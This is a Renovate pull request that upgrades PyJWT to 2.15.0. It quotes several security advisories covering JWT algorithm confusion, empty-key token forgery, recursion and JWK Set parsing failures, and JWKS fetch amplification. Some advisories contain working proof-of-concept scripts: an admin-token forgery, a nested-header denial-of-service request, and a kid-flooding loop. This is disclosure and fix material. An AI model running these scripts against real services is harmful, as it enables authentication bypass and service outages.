Skip to content

chore(deps): update dependency pyjwt to v2.15.0 [security] - #877

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-pyjwt-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-pyjwt-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 1, 2026 •

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
pyjwt 2.13.0 → 2.15.0 age confidence

PyJWT BOM Bypass

CVE-2026-102272 / GHSA-r6x4-923q-g947

More information

Details

Affected Package

Root Cause

PyJWT 2.13.0 introduced a guard in HMACAlgorithm.prepare_key() (file jwt/algorithms.py, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526.

The guard uses bytes.lstrip() before calling startswith(b"{"):

stripped = key_bytes.lstrip() # strips ASCII whitespace only
if stripped.startswith(b"{"): # JWK detection
 ...
 raise InvalidKeyError("The specified key is an asymmetric key...")

bytes.lstrip() with no argument removes only bytes in the ASCII whitespace set (\x20 \t \n \r \x0b \x0c). A UTF-8 BOM prefix (\xef\xbb\xbf) is not stripped, so stripped.startswith(b"{") returns False for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret.


PoC Sketch (pseudocode — not a weaponized payload)
##### 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint)
##### and prepends a UTF-8 BOM byte sequence before the JSON opening brace.

##### 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret.
##### 3. Attacker submits the forged token to a verifier that:

##### - accepts algorithms=["HS256", "RS256"]
##### - holds the same RSA public key as raw bytes (BOM-prefixed key file)

##### 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK
##### detection check to be skipped — the RSA JWK bytes become a valid HMAC key.

##### Result: arbitrary claims (role, sub, etc.) accepted by the verifier.

Impact

An unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (algorithms=["HS256", "RS256"] or equivalent). The resulting impact
is complete authentication and authorization bypass (C:H/I:H). Attack Complexity is High (AC:H) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (PR:N). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable.


Suggested Fix

Option A (minimal): Replace lstrip() with an explicit strip of known
BOM prefixes before the JSON detection check:

##### Strip common BOM prefixes in addition to ASCII whitespace
BOM_PREFIXES = (b"\xef\xbb\xbf", b"\xff\xfe", b"\xfe\xff")
stripped = key_bytes
for bom in BOM_PREFIXES:
 if stripped.startswith(bom):
 stripped = stripped[len(bom):]
 break
stripped = stripped.lstrip()

Option B (more robust): Use json.loads() as the detection mechanism
instead of a byte-prefix check, so encoding variants and whitespace are
handled by the JSON parser:

try:
 test_obj = json.loads(key_bytes.strip())
 if isinstance(test_obj, dict) and "kty" in test_obj:
 raise InvalidKeyError("The specified key is an asymmetric key...")
except (ValueError, UnicodeDecodeError):
 pass

Option B is preferred because it is resilient to any future encoding variant.


Maintainer update — 2026-09-09

We reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound PyJWK controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy.

The fix is committed as 180783930de91876bc0d601f826a1f2956057291. HMACAlgorithm.prepare_key() now checks parsed JSON objects for kty across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases.

The full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit 180783930de91876bc0d601f826a1f2956057291. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results.

The fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT accepts public JWK containers as HMAC secrets

CVE-2026-102273 / GHSA-w2cx-738m-mc7w

More information

Details

Summary

PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when
an application mixes symmetric and asymmetric algorithms in one verification
path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it
is wrapped in a JWKS object, nested in an array, or represented in another
container form that does not expose a top-level kty member.

Impact

An attacker who knows the public key material can forge HS256/HS384/HS512
tokens if the application simultaneously:

  • allows both HS* and asymmetric algorithms;
  • passes raw public JWK/JWKS JSON as key=; and
  • uses that same value as the HMAC secret.

This can allow forged JWT claims in affected application configurations. The
issue does not affect applications that keep symmetric and asymmetric
verification paths separate and follow PyJWT's algorithm-selection guidance.

Fix status

The fix is on master in commit 801cd12 (fix: reject public JWK container HMAC keys). HMACAlgorithm.prepare_key now rejects public JWK members found in
objects, arrays, nested containers, BOM/UTF variants, and recursion-limit
inputs. It also recognizes escaped JSON member names without treating ordinary
string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.

The change was tested with focused regression tests and the full local tox
matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy,
package metadata, and coverage passed; unavailable interpreters were skipped
by the project configuration. A fresh independent Astra/max security review
accepted the final diff with no blocking findings.

The affected range is = 2.13.0. The fix is on the unreleased development
branch; the patched version will be recorded when a released 2.x version
containing the fix is available. This advisory is being moved to draft pending
that release.

Reporter credit

Credit: Charles Vosburgh / Trilobyte.

Original report

The original report and reproduction package are retained in the private
advisory record.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: PyJWK accepts empty HMAC keys, bypassing PyJWT's empty-key validation

CVE-2026-102266 / GHSA-9j54-fg26-wv3r

More information

Details

Summary

A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.

PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.

An oct JWK containing an empty Base64URL key value:

{"kty":"oct","k":""}

is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.prepare_key. With the default enforce_minimum_key_length=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.

An attacker can independently calculate HMAC-SHA256(b"", signing_input) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.

The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.

Details

The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.

Raw empty HMAC keys are rejected

[HMACAlgorithm.prepare_key](https://redirect.github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.

As a result, an empty raw key is rejected in PyJWT 2.13.0:

jwt.decode(token, b"", algorithms=["HS256"])

with InvalidKeyError.

Empty oct JWKs decode to the same key but are accepted

[HMACAlgorithm.from_jwk](https://redirect.github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.

For:

{
    "kty": "oct",
    "k": ""
}

the empty Base64URL value is decoded to:

b""

and returned without an emptiness check.

[PyJWK.__init__](https://redirect.github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jwk.py#L73-L82) then stores the decoded value in self.key.

The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.

PyJWK verification bypasses the raw-key validation

[PyJWS._verify_signature](https://redirect.github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/api_jws.py#L389-L416) has a separate path for PyJWK objects.

When a PyJWK is supplied, verification uses its already-decoded key directly:

prepared_key = key.key

The value is not passed through:

alg_obj.prepare_key(key.key)

so the empty-key check in HMACAlgorithm.prepare_key is never reached.

The minimum HMAC key-length check does not reject the key under the default configuration. With enforce_minimum_key_length=False, PyJWT emits a warning and continues signature verification.

The verifier therefore receives:

b""

as the HS256 key.

This creates the following difference for identical cryptographic key material:

raw b""
    -> HMACAlgorithm.prepare_key
    -> InvalidKeyError

{"kty":"oct","k":""}
    -> HMACAlgorithm.from_jwk
    -> b""
    -> PyJWK.key
    -> PyJWS._verify_signature
    -> HMAC verification with b""
    -> accepted

Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.

This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.

The issue was reproduced against PyJWT 2.13.0 and commit:

7144e4534c34810f4525dc4578a32addd8212cff

which was the tip of the public master branch at the time of testing.

PoC

The following PoC reproduces the issue on PyJWT 2.13.0.

It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.

Install PyJWT 2.13.0:

python -m venv venv
source venv/bin/activate
pip install "PyJWT==2.13.0"

Save the following as poc.py:

import base64
import hashlib
import hmac
import json
import time
import warnings

import jwt
from jwt import PyJWKSet
from jwt.exceptions import InvalidKeyError, InvalidSignatureError

def b64u(value: bytes) -> bytes:
    return base64.urlsafe_b64encode(value).rstrip(b"=")

now = int(time.time())
header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode())
payload = b64u(
    json.dumps(
        {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300},
        separators=(",", ":"),
    ).encode()
)
signing_input = header + b"." + payload
forged = (
    signing_input
    + b"."
    + b64u(hmac.new(b"", signing_input, hashlib.sha256).digest())
).decode()

jwk = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "",
                "kid": "active",
                "alg": "HS256",
                "use": "sig",
            }
        ]
    }
)["active"]

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    claims = jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"require": ["exp"]},
    )

assert claims["sub"] == "attacker"
assert claims["admin"] is True
print("VULNERABLE:", claims)

try:
    jwt.decode(forged, b"", algorithms=["HS256"])
except InvalidKeyError:
    print("CONTROL raw empty key: rejected")
else:
    raise AssertionError("raw empty key was accepted")

try:
    jwt.decode(
        forged,
        jwk,
        algorithms=["HS256"],
        options={"enforce_minimum_key_length": True},
    )
except InvalidKeyError:
    print("CONTROL strict PyJWK: rejected")
else:
    raise AssertionError("strict PyJWK was accepted")

real_key = PyJWKSet.from_dict(
    {
        "keys": [
            {
                "kty": "oct",
                "k": "cmVhbC1zZWNyZXQ",
                "kid": "active",
                "alg": "HS256",
            }
        ]
    }
)["active"]

try:
    with warnings.catch_warnings():
        warnings.simplefilter("ignore")
        jwt.decode(forged, real_key, algorithms=["HS256"])
except InvalidSignatureError:
    print("CONTROL non-empty PyJWK: rejected")
else:
    raise AssertionError("non-empty PyJWK accepted an empty-key forgery")

Run:

python poc.py

Observed output:

VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>}
CONTROL raw empty key: rejected
CONTROL strict PyJWK: rejected
CONTROL non-empty PyJWK: rejected

The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.

The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.

The second control enables enforce_minimum_key_length, which also rejects the empty PyJWK.

The third control changes only the JWK key material to a non-empty value. The same forged token then fails with InvalidSignatureError.

I also reproduced the result through the following verification paths:

jwt.decode(token, PyJWK, algorithms=["HS256"])
jwt.decode(token, PyJWK)
jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"])
PyJWS().decode(token, PyJWK, algorithms=["HS256"])

All accepted an HS256 token whose signature was generated using the zero-length HMAC key.

As an execution-path check, after constructing the PyJWK, I replaced HMACAlgorithm.prepare_key with a function that immediately raises. Verification using the PyJWK still accepted the forged token, while the raw-key path reached prepare_key and rejected the empty key.

Impact

This is an authentication bypass caused by inconsistent validation of empty HMAC keys.

Affected applications are services that verify HS256 JWTs using PyJWK, PyJWKSet, or another path that produces a PyJWK, where the configured oct JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.

For example, an application could and produces:

{
    "kty": "oct",
    "k": "",
    "kid": "active",
    "alg": "HS256"
}

when the expected Base64URL secret value is missing.

Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is b"" and can therefore calculate a valid HMAC for any signing input.

The attacker can choose arbitrary claims such as:

{
    "sub": "attacker",
    "admin": true,
    "exp": 1787100000
}

and produce a signature that PyJWT accepts as valid.

Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.

Validation of claims such as exp, aud, iss, or sub does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.

The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Maintainer update — 2026-09-09

We reproduced the reported discrepancy on PyJWT 2.13.0: an empty oct JWK supplied through PyJWK reached HS256 verification as b"", while the equivalent raw empty key was rejected by HMACAlgorithm.prepare_key(). The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.

This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.

The fix is committed as f91ed44dd65baaf457f4b3353ed35e98a753934c. PyJWK verification now routes the decoded key through the selected algorithm's prepare_key() validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through PyJWK; existing JWS behavior remains covered.

The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.

The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Uncaught RecursionError in jwt.decode() on deeply nested token header

CVE-2026-102265 / GHSA-8wjv-2p76-3863

More information

Details

Package

pyjwt (PyPI)

Affected versions

tested & verified on: 2.13.0. Every version whose PyJWS._load() translates only ValueError is affected

Description

PyJWS._looad() (jwt/api_jws.py:337) splits the compact token, base64url decodes the header segment and hands it to json.loads() before _verify_signature() runs. The parse is wrapped in except ValueError as e: raise DecodeError(...). That is what makes the documented contract sufficient for untrusted input: except jwt.PyJWTError (or InvalidTokenError) around jwt.decode(token, key, algorithms=[...]).

CPython's JSON decoder raises RecursionError (a RuntimeError subclass, not a ValueError) once nesting crosses the native stack guard. That exception leaves _load(), then jwt.decode(), and matches no PyJWTError handlerr at all. No key and no valid signature are needed: the header is parsed first, so a single unauthenticated request with an unsigned token suffices.

Scope: the recursion threshold is ~65,000 nesting levels; below it the same input yields a clean DecodeError (a 346,800-byte flat header is rejected normally, so depth, not size, is the trigger). A token this large cannot ride in an Authorization header (rejected at HTTP field limits,431 under gunicorn), but body transport (RFC 7662 introspection style) is a standard pattern. Under Flask 3.1.3 / gunicorn 26.2.0 each crafted request returns HTTP 500 instead of 401 and writes a full traceback to the error log; the sync worker survives.

Proof of concept

Against any endpoint that validates a token from its JSON body with the documented pattern:

import base64, json, http.client

def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

##### unsigned token: the header segment is 200,000 nested '[' (266,681 bytes total)
token = (b64url(b"[" * 200_000) + b"." + b64url(b'{"a":1}') + b"." + b64url(b"x")).decode()

conn = http.client.HTTPConnection("127.0.0.1", 8125, timeout=30)
conn.request("POST", "/api/protected", body=json.dumps({"token": token}),
             headers={"Content-Type": "application/json"})
print(conn.getresponse().status)   # 500, expected 401

Determinism: 20/20 crafted requests returned 500 against the reference container (PyJWT 2.13.0, Flask 3.1.3, gunicorn 26.2.0, Python 3.14.7) in 0.12 s (about 6 ms per request in a tight loop, 14 ms for a cold request), each leaving a RecursionError: Stack overflow ... while decoding a JSON array traceback in the error log.

Impact

An unauthenticated attacker can turn every request to a JWT validating endpoint into a server error with a full traceback logged per request, a cheap and repeatable denial of service on the authentication path (no crash, no data exposure).

Fix

Catch RecursionError alongside ValueError in _load() and raise DecodeError, or parse the header with a nonrecursive, depthbounded parser.

Reproduction

A standalone package (docker-compose.yml, Dockerfile, requirements.txt, target app, driver) accompanies this report:

cd <package dir>
docker compose up -d --build
python3 poc_check_then_attack.py
docker compose down -v

poc_pyjwt_recursion.zip

Exit 0= reproduced (control checks green, exactly one crafted request returns 500, traceback verified in docker logs, service alive afterwards); 1 = not reproduced; 2 = checks failed, no attack sent. The package's run_log.txt documents a complete proof run.

Credits
  • @​Nivid42
Maintainer update — 2026-09-09

We reproduced the reported behavior on PyJWT 2.13.0: a deeply nested JSON array in the untrusted compact-JWS header reaches json.loads() before signature verification and raises RecursionError, which is not a PyJWTError. The same input is accepted by the public jwt.decode() path and can escape an application's normal except PyJWTError handling.

The fix is committed as 06573692ebcdec8831c3927513b3e87c31fbbb62. PyJWS._load() now translates both ValueError and RecursionError from header JSON parsing into DecodeError. A regression test covers the deeply nested-header path before signature verification. The full suite passes with 373 tests and 4 intentional cryptography-environment skips.

No release containing the fix has been published yet, so the patched version remains unset pending release planning. The advisory remains medium severity and unpublished.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set

CVE-2026-102274 / GHSA-w6j9-cwv2-h6wq

More information

Details

Summary

A malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because RSAAlgorithm.from_jwk can raise a plain ValueError that isn't caught by PyJWKSet's per-key error-skipping logic.

Affected component / version
  • Package: PyJWT (PyPI, ecosystem pip)
  • Files: jwt/api_jwk.py (PyJWK.__init__, PyJWKSet.__init__), jwt/algorithms.py (RSAAlgorithm.from_jwk)
  • Confirmed present in the master branch as of 2026-09-05 (commit 7144e4534c34810f4525dc4578a32addd8212cff, tag 2.13.0). Directly verified identical in tags 2.9.0, 2.10.0, 2.11.0, 2.12.0, 2.12.1, 2.13.0 -- the vulnerable call and the except PyJWTError guard are unchanged across all six releases. Not verified against any release prior to 2.9.0.
Details

PyJWKSet.__init__ (jwt/api_jwk.py:145-152) iterates each key in a JWK Set:

for key in keys:
    try:
        self.keys.append(PyJWK(key))
    except PyJWTError as error:
        if isinstance(error, MissingCryptographyError):
            raise error
        # skip unusable keys
        continue

PyJWK.__init__ (api_jwk.py:82) calls self.Algorithm.from_jwk(self._jwk_data) with no try/except of its own. For an RSA JWK, this dispatches to RSAAlgorithm.from_jwk (jwt/algorithms.py:539-586). When the JWK supplies d, e, n without the CRT parameters (p, q, dp, dq, qi), from_jwk calls cryptography's rsa_recover_prime_factors(public_numbers.n, d, public_numbers.e) (algorithms.py:572-574) to derive the key. If d is not the correct private exponent for that n/e pair, rsa_recover_prime_factors raises a plain ValueError.

ValueError is a built-in Python exception and is not a subclass of jwt.exceptions.PyJWTError (PyJWTError(Exception) is the root of PyJWT's own exception hierarchy). It is therefore not caught by PyJWKSet.__init__'s except PyJWTError, and propagates out of the constructor, aborting the for key in keys: loop before any subsequent key in the list is processed.

PyJWKSet.from_dict/from_json and PyJWK.from_dict/from_json are exported public API (jwt/__init__.py). PyJWKClient.get_jwk_set (jwt/jwks_client.py:158) feeds a fetched JWKS HTTP response directly into PyJWKSet.from_dict with no per-key pre-validation, so this is reachable through the documented PyJWKClient flow whenever the fetched JWKS contains a malformed key alongside valid ones.

Proof of concept
import jwt

good_jwk = {
    "kty": "RSA",
    "n": "<a valid base64url-encoded RSA modulus, e.g. from a real 2048-bit public key>",
    "e": "AQAB",
}

bad_jwk = {
    "kty": "RSA",
    "n": good_jwk["n"],
    "e": "AQAB",
    "d": "AAAAAA",  # not the true private exponent for n/e, no CRT params present
}

jwks_doc = {"keys": [bad_jwk, good_jwk]}

jwt.PyJWKSet.from_dict(jwks_doc)

##### raises: ValueError: Unable to compute factors p and q from exponent d.
##### (uncaught -- PyJWKSet.__init__ never returns, `good_jwk` is never added)
Impact

PyJWKSet.__init__ raises before completing, so no key in the JWK Set is added to the resulting set, including keys unrelated to the malformed entry. This requires the malformed key to already be present in a JWK Set the application parses (e.g. one entry in an aggregated/federated key set, or a key affected by transit corruption before signature verification of the JWKS transport itself). Applications that vet each key individually before adding it to a trusted set are not affected. The failure is an uncaught ValueError, not one of PyJWT's documented jwt.exceptions.* types, so exception handling written against PyJWT's documented contract (except jwt.exceptions.PyJWTError) will not catch it either.

Suggested remediation

Wrap the key-construction call in PyJWK.__init__ (api_jwk.py:82) so a ValueError is converted into InvalidKeyError (a PyJWTError subclass):

try:
    self.key = self.Algorithm.from_jwk(self._jwk_data)
except ValueError as e:
    raise InvalidKeyError(f"Unable to construct key from JWK: {e}") from e

This lets PyJWKSet.__init__'s existing except PyJWTError: continue skip the one malformed key as its own comment already states is intended.

Responsible Disclosure Timeline

Per the OWASP Vulnerability Disclosure Cheat Sheet and Google Project Zero's 2020 disclosure policy:

  • Day 0 (date of submission): to be set to the actual API response's created_at timestamp when this report is submitted. If submitted on the date of this draft (2026-09-05), Day 0 = 2026-09-05.
  • Day 90 (full-public-disclosure deadline, regardless of fix status): Day 0 + 90 days -- 2026-12-04 if Day 0 is 2026-09-05.
  • A brief mutually-agreed extension (standard 14-day grace period) is available if a fix is scheduled but not yet shipped by Day 90 -- extending to 2026-12-18 in that case.
  • This window may shorten instead of extend if the issue is confirmed under active exploitation.
Try It Yourself (Sandbox)

Reproduce the PoC above, and attempt your own fix, in an isolated sandbox with no access to production systems, secrets, or real data.

Credit

Discovered and reported by SecDim Security Research: secdim.com, @​secdim, security@secdim.com.

Maintainer update — 2026-09-08

We reproduced the reported behavior on PyJWT 2.13.0 with cryptography installed: a malformed RSA private JWK containing an invalid d value and no CRT parameters raised a plain ValueError while parsing a JWK set. Because PyJWKSet skips PyJWTError instances only, that exception aborted parsing before subsequent valid keys were loaded. The impact is a conditional availability failure for applications that parse a key set containing a malformed entry; it is not a signature-forgery or claims-verification bypass.

The independently verified affected range is >= 2.9.0, <= 2.13.0; earlier releases were not checked. A narrow fix has been prepared in commit 8915570 based on master commit 5fa7594: PyJWK converts key-construction ValueError exceptions to InvalidKeyError, allowing the existing PyJWKSet skip path to continue. Regression coverage verifies that a malformed RSA key is skipped while a valid key in the same set remains usable. The full suite passes with 370 tests and 4 intentional cryptography-environment skips; formatting, lint, and targeted type checks pass. The advisory remains in triage while the fix goes through release planning.

Severity

  • CVSS Score: 5.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)

CVE-2026-101917 / GHSA-2gx3-rcp4-g85q

More information

Details

Summary
CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.

At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.

Affected
pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.

Proof of concept (verified on 2.13.0, cache enabled = realistic prod config)
import threading, http.server, socketserver, json
from jwt import PyJWKClient
hits = {'n': 0}
JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
hits['n'] += 1
self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()
self.wfile.write(JWKS)
def log_message(self,*a): pass
srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
c = PyJWKClient(f'http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json', cache_keys=True, lifespan=3600)
for i in range(8):
try: c.get_signing_key(f'attacker-unknown-kid-{i}')
except Exception: pass
before = hits['n']
for _ in range(5):
try: c.get_signing_key('same-unknown')
except Exception: pass
print('distinct unknown kids: 8 -> fetches:', hits['n'])
print('same unknown kid x5 -> extra fetches:', hits['n'] - before)

Output:
distinct unknown kids: 8 -> fetches: 9
same unknown kid x5 -> extra fetches: 5
Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.

Impact
One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.

Suggested fix
Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.

Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.

Reported by Babakizo (Securva).

Maintainer update — 2026-09-10

The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.

The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.

Regression tests cover repeated unknown kids, cooldown expiry, concurrent
misses, cache-disabled operation, and invalid cooldown values. The available
full tox matrix, Ruff, and mypy checks pass. The fix will be included in the
next released 2.x version.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

